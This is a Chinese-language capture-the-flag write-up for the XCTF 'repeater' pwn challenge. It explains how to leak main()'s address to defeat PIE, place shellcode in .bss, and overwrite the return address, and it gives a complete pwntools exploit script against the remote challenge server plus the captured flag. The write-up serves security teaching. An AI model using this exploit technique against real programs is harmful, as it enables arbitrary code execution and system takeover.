收获

  • IDA 中看到的地址是偏移地址,当开启了 PIE 地址随机化时,真实地址 = 程序的基地址 + 偏移地址

  • 可以直接向 .bss 段上写入 shellcode,再通过栈溢出去执行段上的 shellcode

  • 开启 PIE 地址随机化后,程序执行过程中打印的地址就是真实的地址


【攻防世界】repeater


思路

查看文件信息:

攻防世界-repeater1.png

64位 小端序,开启了 PIE 地址随机化

尝试运行:

攻防世界-repeater2.png

存在溢出

在 IDA 下分析:

攻防世界-repeater3.png

首先通过 memset() 函数将 byte_202040 的地址初始化,然后通过 sub_982() 函数将用户输入写到 byte_202040 地址处

查看 byte_202040 地址的位置:

攻防世界-repeater4.png

发现 byte_202040 是存储到 .bss 段上的

由于这个题的函数列表中没有给出 system() 函数,因此在 .bss 段上写入 "/bin/sh" 再通过 system() 函数来调用执行的方法是不行了;不过可以考虑在 .bss 段上写入 shellcode,让程序跳转到这里来执行 shellcode

但是这个题开启了 PIE 地址随机化,因此在 IDA 中看到的地址并不是程序中真实的地址,而是偏移地址
所以即使将 shellcode 写入到 0x202040 的地址上,也并不知道 shellcode 在程序中存放的真实地址,需要先确定程序的基地址,就可以通过 真实地址 = 基地址 + 偏移地址 计算出来

观察到 for 循环中会打印出 main() 函数的地址【这个是函数在程序中的真实地址

攻防世界-repeater5.png

但是打印 main() 函数的地址需要 v5 == 3281697,而程序中定义的是 v5 = 1192227
注意到还有一个 read() 函数进行输入,将输入存储到 s 中,输入的长度为 0x40

查看 s 所在的位置:

攻防世界-repeater6.png

由于 read() 输入的长度是 0x40,而 s 在栈中的长度是 0x20,因此是可以溢出的

接下来思路就很明确了:

  1. 在输入 name 的时候,由于是存储到 .bss 段上的,在这里写入一个 shellcode
  2. 然后,通过 read() 函数进行栈溢出,一直覆盖到 v5 的位置,并将 v5 的值修改为 3281697
  3. 然后程序就会打印出 main() 函数的真实地址,将这个地址记录下来
  4. 在 IDA 中找到 main() 函数的偏移地址,用 main() 函数的 真实地址 - 偏移地址 = 程序的基地址
  5. 在 IDA 中找到 shellcode 存放的偏移地址,用 shellcode偏移地址 + 程序的基地址 = 真实地址
  6. 再次通过 read() 函数进行栈溢出,一直覆盖到函数返回的地方,将返回值修改为 shellcode 的真实地址
  7. 程序跳转到 shellcode 的地址去执行 shellcode,获得 shell

脚本

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口


def main():
    if content == 1:
        io = process("./repeater")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 64526)  # 题目的远程端口,注意是remote

    shellcode = asm(shellcraft.sh())  # 构造shellcode
    io.recvuntil("Please give me your name :\n")
    io.sendline(shellcode)  # name存储在.bss段上,通过这里的输入向.bss段上写入shellcode

    payload = b'a' * (0x30 - 0x10) + p64(3281697)  # 栈溢出修改v5的值为3281697
    io.recvuntil("input :")
    io.sendline(payload)

    io.recvuntil("But there is gift for you :\n")
    main_addr = int(io.recvuntil("\n"), 16)  # 保存下程序打印出的main()的真实地址
    base_addr = main_addr - 0x0A33  # 利用main()的真实地址计算出程序的基地址,0x0A33是main()的偏移地址,可以在ida中查看
    shellcode_addr = base_addr + 0x202040  # 利用程序的基地址和写入的shellcode在.bss段上的偏移地址,计算出shellcode存放的真实地址
    # 0x202040是byte_202040在.bss段上的偏移地址,可以在ida中查看 

    io.recvuntil("input :")
    payload = b'a' * (0x30 - 0x00 + 0x08) + p64(shellcode_addr)  # 再次通过栈溢出让程序跳转到shellcode的位置去执行
    io.sendline(payload)

    io.interactive()


main()

结果

cyberpeace{7165ca68103868530e16b6038318afc5}

攻防世界-repeater7.png